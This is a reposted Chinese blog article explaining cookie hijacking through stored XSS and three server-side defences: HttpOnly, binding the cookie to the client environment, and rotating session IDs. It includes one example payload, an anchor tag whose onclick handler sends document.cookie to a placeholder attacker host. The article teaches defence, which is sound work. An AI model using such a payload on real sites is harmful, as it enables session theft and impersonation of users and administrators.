博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Web安全之Cookie劫持
阅读量:6464 次
发布时间:2019-06-23

本文共 1362 字,大约阅读时间需要 4 分钟。

  1. Cookie是什么?

  2. 窃取的原理是什么?

  3. 系统如何防Cookie劫持呢?

  看完这三个回答, 你就明白哪位传奇大侠是如何成功的!!!

  Cookie:

  HTTP天然是无状态的协议, 为了维持和跟踪用户的状态, 引入了Cookie和Session. Cookie包含了浏览器客户端的用户凭证, 相对较小. Session则维护在服务器, 用于维护相对较大的用户信息.

  用通俗的语言, Cookie是钥匙, Session是锁芯.

  Cookie简单理解就是钥匙, 每次去服务端获取资源, 需要带着这把钥匙, 只有自己的锁芯(资源), 才能打开.

  如果你丢掉了钥匙, 那没办法, 只能配一把钥匙和锁芯.

  但是如果钥匙被别人拿了, 那别人就可以冒充你的身份, 去打开你的锁芯, 从而获取你的信息, 甚至挪用你的资金. 这是非常危险的.

  XSS攻击:

  XSS(Cross Site Scripting)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.

  其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.

  比如攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

<a href=# οnclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 这里有美女在洗澡</a>

攻击者提交了条带<a>标签的数据,该条数据保存于服务器端,而管理员登入时,不小心点击这个链接时,则会把自身的cookie信息, 投递给hacker设定的网址.

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

  有了该session-id,攻击者在会话有效期内即可获得管理员的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

  Cookie劫持的防:

  基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.

  服务端如何防呢?

  第一种办法是:

  给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.

  第二种办法:

  在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 因此要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.

  第三种办法:

  cookie中session id的定时更换, 让session id按一定频率变换, 同时对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.

http://www.admin10000.com/document/9210.html

转载地址:http://zghzo.baihongyu.com/

你可能感兴趣的文章
GitHub Checks API帮助应用实现进一步的持续集成
查看>>
大前端时代,如何做好C 端业务下的React SSR?\n
查看>>
图解Go内存分配器
查看>>
语义鸿沟、异构鸿沟、数据缺失,多模态技术如何跨过这些坎?
查看>>
Ruby 2.5.0概览
查看>>
Payara基金会发布全面支持MicroProfile 2.0的5.183版Payara Server和Payara Micro
查看>>
JavaScript_Html5_LocalStorage项目demo
查看>>
英特尔中国研究院院长宋继强:摩尔定律的经济效益仍在继续
查看>>
在容器化环境中扩展分布式流式处理器\n
查看>>
Java EE重命名为Jakarta EE:Java EE Guardians与Oracle的分歧
查看>>
JavaScript面向对象核心知识归纳
查看>>
Leetcode刷题神器,妈妈再也不担心我刷题后Solution同步到Github的问题了
查看>>
avalon2.2 发布
查看>>
浏览器唤起qq进行聊天的一些坑和解决方案 - 小裂变
查看>>
温故js系列(9)-相等==&严格相等===&代码里的那些判断
查看>>
CBPullToReflesh 一款炫酷的下拉刷新
查看>>
如何不让一个慢查询把服务器搞冒烟
查看>>
Java集合类之HashMap原理小结
查看>>
AngularJS中文社区第一个学习应用实例-phonecat正确教程
查看>>
Springboot使用JPA操作数据库
查看>>